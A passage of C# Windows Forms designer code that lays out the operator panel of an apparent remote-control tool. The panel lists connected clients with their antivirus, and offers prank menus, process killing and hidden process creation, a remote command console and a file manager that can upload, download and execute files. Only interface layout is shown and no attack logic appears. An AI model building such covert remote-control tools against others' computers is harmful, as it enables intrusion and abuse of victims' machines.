System.Windows.Forms.Button(); this.label28 = new System.Windows.Forms.Label(); this.tabPage15 = new System.Windows.Forms.TabPage(); this.button39 = new System.Windows.Forms.Button(); this.button38 = new System.Windows.Forms.Button(); this.button37 = new System.Windows.Forms.Button(); this.button36 = new System.Windows.Forms.Button(); this.button35 = new System.Windows.Forms.Button(); this.comboBox6 = new System.Windows.Forms.ComboBox(); this.label33 = new System.Windows.Forms.Label(); this.label32 = new System.Windows.Forms.Label(); this.label31 = new System.Windows.Forms.Label(); this.label30 = new System.Windows.Forms.Label(); this.label29 = new System.Windows.Forms.Label(); this.listBox1 = new System.Windows.Forms.ListBox(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.tabPage2.SuspendLayout(); this.tabPage3.SuspendLayout(); this.tabPage4.SuspendLayout(); this.contextMenuStrip2.SuspendLayout(); this.tabPage5.SuspendLayout(); this.tabPage6.SuspendLayout(); this.contextMenuStrip3.SuspendLayout(); this.tabPage7.SuspendLayout(); this.tabPage8.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.trackBar1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.tabPage9.SuspendLayout(); this.tabPage10.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); this.tabPage11.SuspendLayout(); this.groupBox2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit(); this.groupBox1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); this.tabPage12.SuspendLayout(); this.tabPage13.SuspendLayout(); this.tabPage14.SuspendLayout(); this.tabPage15.SuspendLayout(); this.SuspendLayout(); // // tabControl1 // this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Controls.Add(this.tabPage2); this.tabControl1.Controls.Add(this.tabPage3); this.tabControl1.Controls.Add(this.tabPage4); this.tabControl1.Controls.Add(this.tabPage5); this.tabControl1.Controls.Add(this.tabPage6); this.tabControl1.Controls.Add(this.tabPage7); this.tabControl1.Controls.Add(this.tabPage8); this.tabControl1.Controls.Add(this.tabPage9); this.tabControl1.Controls.Add(this.tabPage10); this.tabControl1.Controls.Add(this.tabPage11); this.tabControl1.Controls.Add(this.tabPage12); this.tabControl1.Controls.Add(this.tabPage13); this.tabControl1.Controls.Add(this.tabPage14); this.tabControl1.Controls.Add(this.tabPage15); this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; this.tabControl1.Size = new System.Drawing.Size(909, 576); this.tabControl1.TabIndex = 0; this.tabControl1.Click += new System.EventHandler(this.tabControl1_Click); // // tabPage1 // this.tabPage1.Controls.Add(this.label24); this.tabPage1.Controls.Add(this.label2); this.tabPage1.Controls.Add(this.button2); this.tabPage1.Controls.Add(this.listView1); this.tabPage1.Controls.Add(this.button1); this.tabPage1.Controls.Add(this.label1); this.tabPage1.Location = new System.Drawing.Point(4, 22); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(3); this.tabPage1.Size = new System.Drawing.Size(901, 550); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Setup"; this.tabPage1.UseVisualStyleBackColor = true; // // label24 // this.label24.AutoSize = true; this.label24.Location = new System.Drawing.Point(21, 57); this.label24.Name = "label24"; this.label24.Size = new System.Drawing.Size(70, 13); this.label24.TabIndex = 6; this.label24.Text = "Live Updates"; // // label2 // this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label2.Location = new System.Drawing.Point(557, 178); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(81, 20); this.label2.TabIndex = 4; this.label2.Text = "Client Info"; // // button2 // this.button2.Location = new System.Drawing.Point(557, 134); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(156, 23); this.button2.TabIndex = 3; this.button2.Text = "Control Selected Servers"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.button2_Click); // // listView1 // this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader1, this.columnHeader2, this.columnHeader3, this.columnHeader4, this.columnHeader5}); this.listView1.FullRowSelect = true; this.listView1.GridLines = true; this.listView1.Location = new System.Drawing.Point(10, 105); this.listView1.MultiSelect = false; this.listView1.Name = "listView1"; this.listView1.Size = new System.Drawing.Size(541, 384); this.listView1.TabIndex = 2; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; this.listView1.SelectedIndexChanged += new System.EventHandler(this.listView1_SelectedIndexChanged); // // columnHeader1 // this.columnHeader1.Text = "Client ID"; // // columnHeader2 // this.columnHeader2.Text = "Pc Name"; this.columnHeader2.Width = 113; // // columnHeader3 // this.columnHeader3.Text = "Lan IP"; this.columnHeader3.Width = 115; // // columnHeader4 // this.columnHeader4.Text = "Time"; this.columnHeader4.Width = 123; // // columnHeader5 // this.columnHeader5.Text = "AV"; this.columnHeader5.Width = 116; // // button1 // this.button1.Location = new System.Drawing.Point(201, 20); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(134, 23); this.button1.TabIndex = 1; this.button1.Text = "Start Server"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // label1 // this.label1.AutoSize = true; this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label1.Location = new System.Drawing.Point(6, 20); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(106, 20); this.label1.TabIndex = 0; this.label1.Text = "Server Status"; // // tabPage2 // this.tabPage2.Controls.Add(this.button6); this.tabPage2.Controls.Add(this.label12); this.tabPage2.Controls.Add(this.richTextBox1); this.tabPage2.Controls.Add(this.label11); this.tabPage2.Controls.Add(this.button5); this.tabPage2.Controls.Add(this.comboBox3); this.tabPage2.Controls.Add(this.label10); this.tabPage2.Controls.Add(this.button4); this.tabPage2.Controls.Add(this.button3); this.tabPage2.Controls.Add(this.textBox3); this.tabPage2.Controls.Add(this.label9); this.tabPage2.Controls.Add(this.label8); this.tabPage2.Controls.Add(this.label7); this.tabPage2.Controls.Add(this.label6); this.tabPage2.Controls.Add(this.label5); this.tabPage2.Controls.Add(this.label4); this.tabPage2.Controls.Add(this.comboBox2); this.tabPage2.Controls.Add(this.comboBox1); this.tabPage2.Controls.Add(this.textBox2); this.tabPage2.Controls.Add(this.textBox1); this.tabPage2.Controls.Add(this.label3); this.tabPage2.Location = new System.Drawing.Point(4, 22); this.tabPage2.Name = "tabPage2"; this.tabPage2.Padding = new System.Windows.Forms.Padding(3); this.tabPage2.Size = new System.Drawing.Size(901, 550); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Fun Menu"; this.tabPage2.UseVisualStyleBackColor = true; // // button6 // this.button6.Location = new System.Drawing.Point(610, 322); this.button6.Name = "button6"; this.button6.Size = new System.Drawing.Size(100, 23); this.button6.TabIndex = 20; this.button6.Text = "Start Speak"; this.button6.UseVisualStyleBackColor = true; this.button6.Click += new System.EventHandler(this.button6_Click); // // label12 // this.label12.AutoSize = true; this.label12.Location = new System.Drawing.Point(437, 118); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(28, 13); this.label12.TabIndex = 19; this.label12.Text = "Text"; // // richTextBox1 // this.richTextBox1.Location = new System.Drawing.Point(471, 115); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Size = new System.Drawing.Size(374, 201); this.richTextBox1.TabIndex = 18; this.richTextBox1.Text = ""; // // label11 // this.label11.AutoSize = true; this.label11.Location = new System.Drawing.Point(414, 84); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(130, 13); this.label11.TabIndex = 17; this.label11.Text = "Microsoft Text To Speech"; // // button5 // this.button5.Location = new System.Drawing.Point(664, 38); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(75, 23); this.button5.TabIndex = 16; this.button5.Text = "Play"; this.button5.UseVisualStyleBackColor = true; this.button5.Click += new System.EventHandler(this.button5_Click); // // comboBox3 // this.comboBox3.FormattingEnabled = true; this.comboBox3.Items.AddRange(new object[] { "Error", "Warning", "Information", "Beep"}); this.comboBox3.Location = new System.Drawing.Point(471, 40); this.comboBox3.Name = "comboBox3"; this.comboBox3.Size = new System.Drawing.Size(176, 21); this.comboBox3.TabIndex = 15; // // label10 // this.label10.AutoSize = true; this.label10.Location = new System.Drawing.Point(414, 12); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(103, 13); this.label10.TabIndex = 14; this.label10.Text = "Play System Sounds"; // // button4 // this.button4.Location = new System.Drawing.Point(153, 348); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(75, 23); this.button4.TabIndex = 13; this.button4.Text = "Play"; this.button4.UseVisualStyleBackColor = true; this.button4.Click += new System.EventHandler(this.button4_Click); // // button3 // this.button3.Location = new System.Drawing.Point(129, 197); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(75, 23); this.button3.TabIndex = 12; this.button3.Text = "Post"; this.button3.UseVisualStyleBackColor = true; this.button3.Click += new System.EventHandler(this.button3_Click); // // textBox3 // this.textBox3.Location = new System.Drawing.Point(89, 296); this.textBox3.Name = "textBox3"; this.textBox3.Size = new System.Drawing.Size(232, 20); this.textBox3.TabIndex = 11; // // label9 // this.label9.AutoSize = true; this.label9.Location = new System.Drawing.Point(20, 299); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(57, 13); this.label9.TabIndex = 10; this.label9.Text = "Frequency"; // // label8 // this.label8.AutoSize = true; this.label8.Location = new System.Drawing.Point(8, 257); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(80, 13); this.label8.TabIndex = 9; this.label8.Text = "Play Frequency"; // // label7 // this.label7.AutoSize = true; this.label7.Location = new System.Drawing.Point(19, 147); this.label7.Name = "label7"; this.label7.Size = new System.Drawing.Size(43, 13); this.label7.TabIndex = 8; this.label7.Text = "Buttons"; // // label6 // this.label6.AutoSize = true; this.label6.Location = new System.Drawing.Point(19, 115); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(28, 13); this.label6.TabIndex = 7; this.label6.Text = "Icon"; // // label5 // this.label5.AutoSize = true; this.label5.Location = new System.Drawing.Point(19, 80); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(28, 13); this.label5.TabIndex = 6; this.label5.Text = "Text"; // // label4 // this.label4.AutoSize = true; this.label4.Location = new System.Drawing.Point(19, 44); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(27, 13); this.label4.TabIndex = 5; this.label4.Text = "Title"; // // comboBox2 // this.comboBox2.FormattingEnabled = true; this.comboBox2.Items.AddRange(new object[] { "Ok", "Yes No", "Ok Cancel", "Abort Retry Ignore", "Yes No Cancel"}); this.comboBox2.Location = new System.Drawing.Point(89, 139); this.comboBox2.Name = "comboBox2"; this.comboBox2.Size = new System.Drawing.Size(232, 21); this.comboBox2.TabIndex = 4; // // comboBox1 // this.comboBox1.FormattingEnabled = true; this.comboBox1.Items.AddRange(new object[] { "Error", "Warning", "Information", "Question", "None"}); this.comboBox1.Location = new System.Drawing.Point(89, 112); this.comboBox1.Name = "comboBox1"; this.comboBox1.Size = new System.Drawing.Size(232, 21); this.comboBox1.TabIndex = 3; // // textBox2 // this.textBox2.Location = new System.Drawing.Point(89, 77); this.textBox2.Name = "textBox2"; this.textBox2.Size = new System.Drawing.Size(232, 20); this.textBox2.TabIndex = 2; // // textBox1 // this.textBox1.Location = new System.Drawing.Point(89, 41); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(232, 20); this.textBox1.TabIndex = 1; // // label3 // this.label3.AutoSize = true; this.label3.Location = new System.Drawing.Point(6, 12); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(71, 13); this.label3.TabIndex = 0; this.label3.Text = "Message Box"; // // tabPage3 // this.tabPage3.Controls.Add(this.button13); this.tabPage3.Controls.Add(this.button12); this.tabPage3.Controls.Add(this.label14); this.tabPage3.Controls.Add(this.button11); this.tabPage3.Controls.Add(this.button10); this.tabPage3.Controls.Add(this.button9); this.tabPage3.Controls.Add(this.button8); this.tabPage3.Controls.Add(this.button7); this.tabPage3.Controls.Add(this.label13); this.tabPage3.Location = new System.Drawing.Point(4, 22); this.tabPage3.Name = "tabPage3"; this.tabPage3.Size = new System.Drawing.Size(901, 550); this.tabPage3.TabIndex = 2; this.tabPage3.Text = "Fun Menu 2"; this.tabPage3.UseVisualStyleBackColor = true; // // button13 // this.button13.Location = new System.Drawing.Point(597, 49); this.button13.Name = "button13"; this.button13.Size = new System.Drawing.Size(75, 23); this.button13.TabIndex = 8; this.button13.Text = "Close"; this.button13.UseVisualStyleBackColor = true; this.button13.Click += new System.EventHandler(this.button13_Click); // // button12 // this.button12.Location = new System.Drawing.Point(472, 49); this.button12.Name = "button12"; this.button12.Size = new System.Drawing.Size(75, 23); this.button12.TabIndex = 7; this.button12.Text = "Open"; this.button12.UseVisualStyleBackColor = true; this.button12.Click += new System.EventHandler(this.button12_Click); // // label14 // this.label14.AutoSize = true; this.label14.Location = new System.Drawing.Point(441, 16); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(46, 13); this.label14.TabIndex = 6; this.label14.Text = "CD Tray"; // // button11 // this.button11.Location = new System.Drawing.Point(97, 302); this.button11.Name = "button11"; this.button11.Size = new System.Drawing.Size(203, 23); this.button11.TabIndex = 5; this.button11.Text = "Start Menu: Visible"; this.button11.UseVisualStyleBackColor = true; this.button11.Click += new System.EventHandler(this.button11_Click); // // button10 // this.button10.Location = new System.Drawing.Point(97, 252); this.button10.Name = "button10"; this.button10.Size = new System.Drawing.Size(203, 23); this.button10.TabIndex = 4; this.button10.Text = "Tray Icons: Visible"; this.button10.UseVisualStyleBackColor = true; this.button10.Click += new System.EventHandler(this.button10_Click); // // button9 // this.button9.Location = new System.Drawing.Point(97, 200); this.button9.Name = "button9"; this.button9.Size = new System.Drawing.Size(203, 23); this.button9.TabIndex = 3; this.button9.Text = "Desktop Icons: Visible"; this.button9.UseVisualStyleBackColor = true; this.button9.Click += new System.EventHandler(this.button9_Click); // // button8 // this.button8.Location = new System.Drawing.Point(97, 148); this.button8.Name = "button8"; this.button8.Size = new System.Drawing.Size(203, 23); this.button8.TabIndex = 2; this.button8.Text = "Task Bar: Visible"; this.button8.UseVisualStyleBackColor = true; this.button8.Click += new System.EventHandler(this.button8_Click); // // button7 // this.button7.Location = new System.Drawing.Point(97, 97); this.button7.Name = "button7"; this.button7.Size = new System.Drawing.Size(203, 23); this.button7.TabIndex = 1; this.button7.Text = "Clock: Visible"; this.button7.UseVisualStyleBackColor = true; this.button7.Click += new System.EventHandler(this.button7_Click); // // label13 // this.label13.AutoSize = true; this.label13.Location = new System.Drawing.Point(8, 16); this.label13.Name = "label13"; this.label13.Size = new System.Drawing.Size(97, 13); this.label13.TabIndex = 0; this.label13.Text = "Windows Elements"; // // tabPage4 // this.tabPage4.Controls.Add(this.button14); this.tabPage4.Controls.Add(this.comboBox4); this.tabPage4.Controls.Add(this.textBox4); this.tabPage4.Controls.Add(this.label17); this.tabPage4.Controls.Add(this.label16); this.tabPage4.Controls.Add(this.label15); this.tabPage4.Controls.Add(this.listView2); this.tabPage4.Location = new System.Drawing.Point(4, 22); this.tabPage4.Name = "tabPage4"; this.tabPage4.Size = new System.Drawing.Size(901, 550); this.tabPage4.TabIndex = 3; this.tabPage4.Text = "Processes"; this.tabPage4.UseVisualStyleBackColor = true; // // button14 // this.button14.Location = new System.Drawing.Point(425, 458); this.button14.Name = "button14"; this.button14.Size = new System.Drawing.Size(116, 23); this.button14.TabIndex = 6; this.button14.Text = "Create Process"; this.button14.UseVisualStyleBackColor = true; this.button14.Click += new System.EventHandler(this.button14_Click); // // comboBox4 // this.comboBox4.FormattingEnabled = true; this.comboBox4.Items.AddRange(new object[] { "Normal", "Hidden"}); this.comboBox4.Location = new System.Drawing.Point(298, 460); this.comboBox4.Name = "comboBox4"; this.comboBox4.Size = new System.Drawing.Size(121, 21); this.comboBox4.TabIndex = 5; this.comboBox4.Text = "Visibility"; // // textBox4 // this.textBox4.Location = new System.Drawing.Point(96, 460); this.textBox4.Name = "textBox4"; this.textBox4.Size = new System.Drawing.Size(196, 20); this.textBox4.TabIndex = 4; // // label17 // this.label17.AutoSize = true; this.label17.Location = new System.Drawing.Point(41, 463); this.label17.Name = "label17"; this.label17.Size = new System.Drawing.Size(49, 13); this.label17.TabIndex = 3; this.label17.Text = "Filename"; // // label16 // this.label16.AutoSize = true; this.label16.Location = new System.Drawing.Point(8, 435); this.label16.Name = "label16"; this.label16.Size = new System.Drawing.Size(104, 13); this.label16.TabIndex = 2; this.label16.Text = "Create New Process"; // // label15 // this.label15.AutoSize = true; this.label15.Location = new System.Drawing.Point(8, 12); this.label15.Name = "label15"; this.label15.Size = new System.Drawing.Size(64, 13); this.label15.TabIndex = 1; this.label15.Text = "Process List"; // // listView2 // this.listView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader6, this.columnHeader7, this.columnHeader8, this.columnHeader9, this.columnHeader10, this.columnHeader11}); this.listView2.ContextMenuStrip = this.contextMenuStrip2; this.listView2.FullRowSelect = true; this.listView2.GridLines = true; this.listView2.Location = new System.Drawing.Point(26, 28); this.listView2.Name = "listView2"; this.listView2.Size = new System.Drawing.Size(867, 375); this.listView2.TabIndex = 0; this.listView2.UseCompatibleStateImageBehavior = false; this.listView2.View = System.Windows.Forms.View.Details; // // columnHeader6 // this.columnHeader6.Text = "Process Name"; this.columnHeader6.Width = 96; // // columnHeader7 // this.columnHeader7.Text = "PID"; // // columnHeader8 // this.columnHeader8.Text = "Respoding"; this.columnHeader8.Width = 70; // // columnHeader9 // this.columnHeader9.Text = "Title"; // // columnHeader10 // this.columnHeader10.Text = "Priority"; // // columnHeader11 // this.columnHeader11.Text = "Path"; // // contextMenuStrip2 // this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.killToolStripMenuItem, this.refreshToolStripMenuItem1}); this.contextMenuStrip2.Name = "contextMenuStrip2"; this.contextMenuStrip2.Size = new System.Drawing.Size(114, 48); // // killToolStripMenuItem // this.killToolStripMenuItem.Name = "killToolStripMenuItem"; this.killToolStripMenuItem.Size = new System.Drawing.Size(113, 22); this.killToolStripMenuItem.Text = "Kill"; this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click); // // refreshToolStripMenuItem1 // this.refreshToolStripMenuItem1.Name = "refreshToolStripMenuItem1"; this.refreshToolStripMenuItem1.Size = new System.Drawing.Size(113, 22); this.refreshToolStripMenuItem1.Text = "Refresh"; this.refreshToolStripMenuItem1.Click += new System.EventHandler(this.refreshToolStripMenuItem1_Click); // // tabPage5 // this.tabPage5.Controls.Add(this.textBox5); this.tabPage5.Controls.Add(this.richTextBox2); this.tabPage5.Controls.Add(this.button15); this.tabPage5.Location = new System.Drawing.Point(4, 22); this.tabPage5.Name = "tabPage5"; this.tabPage5.Size = new System.Drawing.Size(901, 550); this.tabPage5.TabIndex = 4; this.tabPage5.Text = "Remote Cmd"; this.tabPage5.UseVisualStyleBackColor = true; // // textBox5 // this.textBox5.Location = new System.Drawing.Point(8, 469); this.textBox5.Name = "textBox5"; this.textBox5.Size = new System.Drawing.Size(885, 20); this.textBox5.TabIndex = 2; this.textBox5.Tag = "rcmd"; this.textBox5.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox5_KeyDown); // // richTextBox2 // this.richTextBox2.BackColor = System.Drawing.Color.Black; this.richTextBox2.ForeColor = System.Drawing.Color.White; this.richTextBox2.Location = new System.Drawing.Point(8, 42); this.richTextBox2.Name = "richTextBox2"; this.richTextBox2.Size = new System.Drawing.Size(885, 425); this.richTextBox2.TabIndex = 1; this.richTextBox2.Text = ""; // // button15 // this.button15.Location = new System.Drawing.Point(8, 13); this.button15.Name = "button15"; this.button15.Size = new System.Drawing.Size(113, 23); this.button15.TabIndex = 0; this.button15.Text = "Start Cmd"; this.button15.UseVisualStyleBackColor = true; this.button15.Click += new System.EventHandler(this.button15_Click); // // tabPage6 // this.tabPage6.Controls.Add(this.listView3); this.tabPage6.Location = new System.Drawing.Point(4, 22); this.tabPage6.Name = "tabPage6"; this.tabPage6.Size = new System.Drawing.Size(901, 550); this.tabPage6.TabIndex = 5; this.tabPage6.Text = "Files"; this.tabPage6.UseVisualStyleBackColor = true; // // listView3 // this.listView3.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader12, this.columnHeader13, this.columnHeader14, this.columnHeader15}); this.listView3.ContextMenuStrip = this.contextMenuStrip3; this.listView3.FullRowSelect = true; this.listView3.Location = new System.Drawing.Point(8, 3); this.listView3.Name = "listView3"; this.listView3.Size = new System.Drawing.Size(885, 477); this.listView3.TabIndex = 0; this.listView3.UseCompatibleStateImageBehavior = false; this.listView3.View = System.Windows.Forms.View.Details; // // columnHeader12 // this.columnHeader12.Text = "File name"; this.columnHeader12.Width = 152; // // columnHeader13 // this.columnHeader13.Text = "File Size"; this.columnHeader13.Width = 88; // // columnHeader14 // this.columnHeader14.Text = "Creation Time"; this.columnHeader14.Width = 122; // // columnHeader15 // this.columnHeader15.Text = "Full Path"; this.columnHeader15.Width = 510; // // contextMenuStrip3 // this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.listDrivesToolStripMenuItem, this.enterDirectoryToolStripMenuItem, this.toolStripMenuItem1, this.moveToolStripMenuItem, this.copyToolStripMenuItem, this.pasteToolStripMenuItem, this.executeToolStripMenuItem, this.uploadToolStripMenuItem, this.downloadToolStripMenuItem, this.editToolStripMenuItem, this.attributesToolStripMenuItem, this.deleteToolStripMenuItem, this.renameToolStripMenuItem, this.newToolStripMenuItem}); this.contextMenuStrip3.Name = "contextMenuStrip3"; this.contextMenuStrip3.Size = new System.Drawing.Size(153, 312); // // listDrivesToolStripMenuItem // this.listDrivesToolStripMenuItem.Name = "listDrivesToolStripMenuItem"; this.listDrivesToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.listDrivesToolStripMenuItem.Text = "List Drives"; this.listDrivesToolStripMenuItem.Click += new System.EventHandler(this.listDrivesToolStripMenuItem_Click); // // enterDirectoryToolStripMenuItem // this.enterDirectoryToolStripMenuItem.Name = "enterDirectoryToolStripMenuItem"; this.enterDirectoryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.enterDirectoryToolStripMenuItem.Text = "Enter Directory"; this.enterDirectoryToolStripMenuItem.Click += new System.EventHandler(this.enterDirectoryToolStripMenuItem_Click); // // toolStripMenuItem1 // this.toolStripMenuItem1.Name = "toolStripMenuItem1"; this.toolStripMenuItem1.Size = new System.Drawing.Size(152, 22); this.toolStripMenuItem1.Text = "Up 1 Directory"; this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click); // // moveToolStripMenuItem // this.moveToolStripMenuItem.Name = "moveToolStripMenuItem"; this.moveToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.moveToolStripMenuItem.Text = "Move"; this.moveToolStripMenuItem.Click += new System.EventHandler(this.moveToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; this.copyToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.currentDirectoryToolStripMenuItem, this.selectedDirectoryToolStripMenuItem}); this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; this.pasteToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.pasteToolStripMenuItem.Text = "Paste"; // // currentDirectoryToolStripMenuItem // this.currentDirectoryToolStripMenuItem.Name = "currentDirectoryToolStripMenuItem"; this.currentDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22); this.currentDirectoryToolStripMenuItem.Text = "Current Directory"; this.currentDirectoryToolStripMenuItem.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem_Click); // // selectedDirectoryToolStripMenuItem // this.selectedDirectoryToolStripMenuItem.Name = "selectedDirectoryToolStripMenuItem"; this.selectedDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22); this.selectedDirectoryToolStripMenuItem.Text = "Selected Directory"; this.selectedDirectoryToolStripMenuItem.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem_Click); // // executeToolStripMenuItem // this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; this.executeToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.executeToolStripMenuItem.Text = "Execute"; this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); // // uploadToolStripMenuItem // this.uploadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.currentDirectoryToolStripMenuItem1, this.selectedDirectoryToolStripMenuItem1}); this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; this.uploadToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.uploadToolStripMenuItem.Text = "Upload"; // // currentDirectoryToolStripMenuItem1 // this.currentDirectoryToolStripMenuItem1.Name = "currentDirectoryToolStripMenuItem1"; this.currentDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22); this.currentDirectoryToolStripMenuItem1.Text = "Current Directory"; this.currentDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem1_Click); // // selectedDirectoryToolStripMenuItem1 // this.selectedDirectoryToolStripMenuItem1.Name = "selectedDirectoryToolStripMenuItem1"; this.selectedDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22); this.selectedDirectoryToolStripMenuItem1.Text = "Selected Directory"; this.selectedDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem1_Click); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; this.downloadToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // editToolStripMenuItem // this.editToolStripMenuItem.Name = "editToolStripMenuItem"; this.editToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.editToolStripMenuItem.Text = "Edit"; this.editToolStripMenuItem.Click += new System.EventHandler(this.editToolStripMenuItem_Click); // // attributesToolStripMenuItem // this.attributesToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.hideToolStripMenuItem, this.showToolStripMenuItem}); this.attributesToolStripMenuItem.Name = "attributesToolStripMenuItem"; this.attributesToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.attributesToolStripMenuItem.Text = "Attributes"; // // hideToolStripMenuItem // this.hideToolStripMenuItem.Name = "hideToolStripMenuItem"; this.hideToolStripMenuItem.Size = new System.Drawing.Size(103, 22); this.hideToolStripMenuItem.Text = "Hide"; this.hideToolStripMenuItem.Click += new System.EventHandler(this.hideToolStripMenuItem_Click); // // showToolStripMenuItem // this.showToolStripMenuItem.Name = "showToolStripMenuItem"; this.showToolStripMenuItem.Size = new System.Drawing.Size(103, 22); this.showToolStripMenuItem.Text = "Show"; this.showToolStripMenuItem.Click += new System.EventHandler(this.showToolStripMenuItem_Click); // // deleteToolStripMenuItem // this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.deleteToolStripMenuItem.Text = "Delete"; this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click); // // newToolStripMenuItem // this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.fileToolStripMenuItem, this.directoryToolStripMenuItem}); this.newToolStripMenuItem.Name = "newToolStripMenuItem"; this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.newToolStripMenuItem.Text = "New"; // // fileToolStripMenuItem // this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; this.fileToolStripMenuItem.Size = new System.Drawing.Size(122, 22); this.fileToolStripMenuItem.Text = "File"; this.fileToolStripMenuItem.Click += new System.EventHandler(this.fileToolStripMenuItem_Click); // // directoryToolStripMenuItem // this.directoryToolStripMenuItem.Name = "directoryToolStripMenuItem"; this.directoryToolStripMenuItem.Size = new System.Drawing.Size(122, 22); this.directoryToolStripMenuItem.Text = "Directory"; this.directoryToolStripMenuItem.Click += new System.EventHandler(this.directoryToolStripMenuItem_Click); // // tabPage7 // this.tabPage7.Controls.Add(this.button19); this.tabPage7.Controls.Add(this.button18); this.tabPage7.Controls.Add(this.button17); this.tabPage7.Controls.Add(this.button16); this.tabPage7.Controls.Add(this.richTextBox3); this.tabPage7.Location = new System.Drawing.Point(4, 